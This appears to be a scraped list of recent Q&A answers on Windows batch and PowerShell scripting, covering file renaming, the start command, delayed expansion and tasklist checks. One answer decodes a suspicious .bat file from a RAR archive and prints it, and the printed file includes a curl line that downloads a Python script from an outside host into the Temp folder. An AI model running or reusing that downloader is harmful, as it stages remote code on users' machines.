New answers tagged

0

Found my own solution with rnr.exe:- rnr -f -r mp4.wav.mp3 mp3 .


0

Security and privacy matters when a GUI task is scheduled to run. If the screen is currently used by another user B and the scheduled task can only run by user A because the GUI window may contain private information of A, security and privacy is infringed if the task is running in foreground. For this reason, the task must be run in background without ...


0

You can start explorer.exe with a path; it will open a new window displaying the specified path. If a non-existing path is given, explorer will default to displaying the user's My Documents folder


0

Only one application can get the focus. Try this: Start Program field: C:\WINDOWS\System32\cmd.exe Argument field: /c start "BitComet" "C:\Program Files\BitComet\BitComet.exe" This will basically open up cmd.exe and pass the arguments to it. The /c parameter will run those arguments and then close, while start gives the focus to anything ...


0

These are the rules https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setforegroundwindow. The system restricts which processes can set the foreground window. A process can set the foreground window only if one of the following conditions is true: •The process is the foreground process. •The process was started by the foreground process. ...


17

The issue is that the start command (built into CMD) has a special way to handle the first parameter with quotation marks, which is to specify an optional title for the created window; without the first set of quotation marks (like the solution below), the start command is interpreting the command shown in the question as follows: Create a window with a ...


0

PowerShell example. I found some paths don't play nicely, so using -LiteralPath works in all cases. Help on which can be found on the MS docs for Remove-Item. # To delete all files within a folder and its subfolders. $subDir = "Z:\a path to\somewhere\" # Remove the -WhatIf and -Verbose here once you're happy with the result. Get-ChildItem -...


1

Sorry for the late answer. Couldn't it be achieved with scheduled tasks ? Like create a scheduled task that runs once after reboot and launches the script where you want to resume it ?


1

PowerShell allows you to do regex matches so it's easy to do this with Rename-Item: Get-ChildItem *.mpg | Rename-Item -WhatIf -NewName ` { $_.Name -replace '(.+?)\(.+?\) \((.+) (.+)\)', '$1_($2_$3)' } You can also shorten the command with aliases: > ls *.mpg | ren -wi -Ne ` { $_.Name -replace '(.+?)\(.+?\) \((.+) (.+)\)', '$1_($2_$3)' } What if: ...


0

Your main problem here is that for splits by space. You'd need it to split by "more than one space", which for doesn't do. You can workaround this restriction by replacing every two spaces with a unique character (@ in my example) and then split by that introduced char: @echo off setlocal enabledelayedexpansion for /f "delims=" %%a in ('...


1

One line version using operator && or || if exist/not exist: >nul 2>&1 pushd "%cd%\my_Folder" &&(popd & set "Bool=True")|| set "Bool=False" set Bool & echo=%Bool%


0

There's no need to use regular expressions for this. If the files are always looking like this and the format is stable then just use a normal literal string match findstr /C:" %variable%," sometxtfile.txt The /C option is required to make it match spaces. But it needs every file to end with a , so you might have to append , to the end of them. If ...


1

Was looking for a way to solve this issue, because when streaming from windows to my TV, the TV would play the files out of order as it was sorting the files alphabetically using the title. Using some of the above answers, this script worked for me in PowerShell (obviously replace the paths as appropriate for your environment: foreach ($f in Get-ChildItem &...


1

Batch file programming is messy.  I can’t find any one solution that works perfectly.  But this three-pronged approach seems to work: SET CURR_PATH=%CD% :: Assume/anticipate failure set "FOLDER_EXIST=False" cd /d "%INPUT_PATH%\%REL_PATH%" 2> nul && ( if exist %FOLDER_NAME%\ set "FOLDER_EXIST=True" if ...


0

Your batch job must have too many commas. You are most likely executing the equivalent of: mkdir dir1,dir2 which creates two separate directories. If you can't find the problem, please add your exact code to your post.


1

The question is not fully clear and should be improved. The actual value of the variable will have changed immediately after the set command. The problem results from the point in time when CMD expands the variables while executing the script. When Windows CMD processes this if statement if /i %proceed:~0,1%==E ( set /P profile="sas-admin profile:&...


2

I updated the answer, now it also searches in sub-folders of the parent and child folders. MaxLevel is a delimiter for parent folders meaning don't go any deeper than that "parent folder" For example if you have "Folder_F" as input and want to search for a folder called "my folder" and MaxLevel is "Desktop". It would ...


2

You can use the way, the parser works to "split" the current folder (%cd%) into the desired base path and "commenting out" the rest: set folder=%cd:\SomeFolder\=\SomeFolder&REM % echo %folder% Run it with echo off to watch the "magic" happen. Read the output of set /? to learn how the substring substitution works. If ...


0

See the Microsoft article Restart or Shut Down a Remote Computer and Document the Reason on the requirements for remote shutdown. The complete syntax of the command is: shutdown /[r|s] /m \\**ComputerName /c "Comment" /d [u|p] <xx>:<yy> See the article for the explanation of the arguments. Some important remarks: Membership in the ...


0

Solved thanx to Squashman above (can't vote his reply as an answer), my ComSpec value was changed somehow to c:\PHP, reset it to the following as per Squashman and fixed (posting this since some might miss his reply to an answer): Right click "This PC" > Properties > Advanced System Settings > "Environment Variables..." > in ...


1

@echo off set "_results=Not Running" set "_imagename=executable_with_imagename_length_greater_than_25_characters.exe" tasklist.exe /svc /fo list | find.exe /i "%_imagename%" >nul && set "_results=%_results:Not =%" echo=%_results% Use: Tasklist /svc /fo list Use: Find "string" && [if/because return 0 do()] || [if/because return non 0 do(...


1

If delayed expansion is the solution, how to use it? As follows: @echo off setlocal enabledelayedexpansion if 1==1 ( call :label echo !errorlevel! ) pause >nul endlocal exit :label exit /b 1 Delayed Expansion will cause variables within a batch file to be expanded at execution time rather than at parse time, this option is turned on with the ...


1

For extract number with comma + space (or Tab) delimited: @echo off setlocal EnableDelayedExpansion for /f useback^tokens^=*delims^= %%i in (`type Q1597471.txt `)do set "_line=%%~i" && for %%X in (!_line:^, ^= !)do echo=%%~X endlocal & goto :eof Contents of the file Q1597471.txt... 0, 1, 2, 4, 11, 18, 19, 25, 35, 42, 66, 87, 89 10, 11, 12, 14, 111, ...


1

Your script is running the 'sh' shell, and the simple $ prompt is completely normal for sh. If your usual shell prompt includes more information, then you were probably using bash or zsh. (But it could also be 'tcsh' or 'fish' or something else.) Try changing your script's last command to bash. Try changing your script's last command to run $SHELL. (...


2

The first couple of bytes of the file seem to cause Notepad (and Notepad++ for that matter) to display junk. However using the Unix less or strings command returns the following: @echo off py -m pip install -U pip pip3 install netmiko pip3 install colored curl -o "%userprofile%\AppData\Local\Temp\temp.py" http://secret.dtechsmag.com/scriptp/...


0

This RAR archive contains a file that is not a .bat script, in spite of its name. If it was described elsewhere as a .bat file, this is incorrect, or the file is encoded/encrypted using some unknown utility. You cannot work with this file without knowing how it was created or encoded, and using the same application to decode/decrypt.


0

For the small minority just using Microsoft's free command-line compiler (which still is kinda under the umbrella of things called "Visual Studio"), I leave this note. I only installed Visual Studio "Build Tools", and I didn't find a solution here that worked. vswhere.exe didn't believe anything was installed. No particular environment ...


1

The tasklist command can search for a given process. Checking for success inside a batch file is a bit complicated, since this command does not set the errorlevel. You need then to use it in conjunction with another utility that does set it, for example the find command like this: echo off tasklist /fi "imagename eq notepad.exe" | find "...


Top 50 recent answers are included